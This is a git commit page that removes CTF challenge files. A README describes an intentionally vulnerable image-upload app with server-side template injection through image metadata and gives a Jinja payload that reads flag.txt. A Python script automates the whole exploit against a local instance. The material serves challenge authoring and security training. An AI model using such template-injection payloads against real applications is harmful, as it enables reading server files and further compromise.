refractor blogpost and cdn chall
This commit is contained in:
1 parent
2d51b73a1e
commit
bb3f6e74aa
47 files changed
-544
No files matched your search
File renamed without changes.
@@ -1,30 +0,0 @@
|
||||
## CDN
|
||||
|
||||
db used: sqlite
|
||||
flag.txt: GEMASTIK{random sha256 generated on app start}
|
||||
|
||||
### feature:
|
||||
[authentication required with login and register, register default as "user" role]
|
||||
1. upload image
|
||||
|
||||
### Vulns
|
||||
#### vuln1: SSTI on image Date Created metadata, exiftool cant insert this, need to write the image's blob
|
||||
example:
|
||||
```bash
|
||||
(base) jons@01-20-jonathanmarbun:/mnt/c/1Jonathan/CTFS/gawe/gms25/web2/exploit$ exiftool -overwrite_original -IPTC:DateCreated="{{7*7}}" image.png
|
||||
Warning: Invalid date format (use YYYY:mm:dd) in IPTC:DateCreated (ValueConvInv)
|
||||
Nothing to do.
|
||||
```
|
||||
payload to inject:
|
||||
```{{lipsum.__builtins__['open']('flag.txt').read()}}```
|
||||
|
||||
when editing the Date Created metadata manually, somehow it has limit of 46 char (but we can expand that to make it more by deleting the content of another metadata) -> check ssti.png
|
||||
it probably have different behavior on another image file or format
|
||||
payload: check exploit/exp3.py
|
||||
|
||||
#### vuln2:
|
||||
|
||||
### Patching Rule?
|
||||
- dont remove flag.txt/changes its content
|
||||
- ensure image metadata generation still available
|
||||
- ensure exiftool still used
|
||||
File renamed without changes.
Vendored
BIN
Binary file not shown.
File renamed without changes.
File renamed without changes.
@@ -1,91 +0,0 @@
|
||||
import os
|
||||
import re
|
||||
import random
|
||||
import string
|
||||
from pathlib import Path
|
||||
import requests
|
||||
|
||||
print("SSTI (Vuln) Exploit — fixed HOST env, redirects, timeouts")
|
||||
|
||||
HOST = "http://localhost:4414"
|
||||
REGISTER_URL = f"{HOST}/register"
|
||||
LOGIN_URL = f"{HOST}/login"
|
||||
UPLOAD_URL = f"{HOST}/upload"
|
||||
HOME_URL = f"{HOST}/"
|
||||
|
||||
TIMEOUT = float(os.environ.get("TIMEOUT", "1")) # detik
|
||||
|
||||
def rnd(n=8):
|
||||
alpha = string.ascii_lowercase + string.digits
|
||||
return ''.join(random.choices(alpha, k=n))
|
||||
|
||||
USERNAME = rnd()
|
||||
PASSWORD = rnd()
|
||||
LOCAL_IMAGE = os.environ.get("IMG", "ssti.png") # PNG dengan payload Jinja di metadata
|
||||
|
||||
s = requests.Session()
|
||||
s.headers.update({"User-Agent": "ssti-exp/1.0"})
|
||||
|
||||
def ok_or_redirect(resp):
|
||||
return 200 <= resp.status_code < 400
|
||||
|
||||
# 1) Register (allow redirects)
|
||||
r = s.post(REGISTER_URL, data={"username": USERNAME, "password": PASSWORD},
|
||||
allow_redirects=True, timeout=TIMEOUT)
|
||||
print(f"[i] Register -> {r.status_code} | redirected={bool(r.history)}")
|
||||
if not ok_or_redirect(r):
|
||||
print("[x] Registration failed")
|
||||
raise SystemExit(1)
|
||||
print(f"[+] Registered: {USERNAME}:{PASSWORD}")
|
||||
|
||||
# 2) Login (allow redirects)
|
||||
r = s.post(LOGIN_URL, data={"username": USERNAME, "password": PASSWORD},
|
||||
allow_redirects=True, timeout=TIMEOUT)
|
||||
print(f"[i] Login -> {r.status_code} | redirected={bool(r.history)}")
|
||||
if not ok_or_redirect(r):
|
||||
print("[x] Login failed")
|
||||
raise SystemExit(1)
|
||||
print("[+] Logged in")
|
||||
|
||||
# 3) Upload image (title + image)
|
||||
img_path = Path(LOCAL_IMAGE)
|
||||
if not img_path.exists():
|
||||
raise SystemExit(f"[x] Local image not found: {LOCAL_IMAGE}")
|
||||
|
||||
with img_path.open("rb") as fh:
|
||||
files = {"image": (img_path.name, fh, "image/png")}
|
||||
data = {"title": "SSTI Exploit"}
|
||||
r = s.post(UPLOAD_URL, data=data, files=files,
|
||||
allow_redirects=True, timeout=TIMEOUT)
|
||||
print(f"[i] Upload -> {r.status_code} | redirected={bool(r.history)}")
|
||||
if not ok_or_redirect(r):
|
||||
print("[x] Upload failed")
|
||||
raise SystemExit(1)
|
||||
print("[+] Upload complete")
|
||||
|
||||
# 4) Home → cari post id terbaru
|
||||
r = s.get(HOME_URL, timeout=TIMEOUT)
|
||||
print(f"[i] Home -> {r.status_code}")
|
||||
if r.status_code != 200:
|
||||
print("[x] Failed to load home")
|
||||
raise SystemExit(1)
|
||||
|
||||
post_ids = re.findall(r'/post/(\d+)', r.text)
|
||||
if not post_ids:
|
||||
print("[-] No posts found on home.")
|
||||
# print(r.text[:800])
|
||||
raise SystemExit(1)
|
||||
|
||||
pid = max(map(int, post_ids))
|
||||
post_url = f"{HOST}/post/{pid}"
|
||||
print(f"[+] Newest post: {post_url}")
|
||||
|
||||
# 5) Trigger SSTI dan cari flag
|
||||
r = s.get(post_url, timeout=TIMEOUT)
|
||||
print(f"[i] Post -> {r.status_code}")
|
||||
m = re.search(r"GEMASTIK\{[^}]*\}", r.text)
|
||||
if m:
|
||||
print("[+] Flag:", m.group(0))
|
||||
else:
|
||||
print("[-] Flag not found in response.")
|
||||
print(r.text[:1200])
|
||||
Binary file not shown.
|
Before Width: | Height: | Size: 1012 KiB |
Binary file not shown.
|
Before Width: | Height: | Size: 1012 KiB |
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
File renamed without changes.
Reference in new issue
Block a user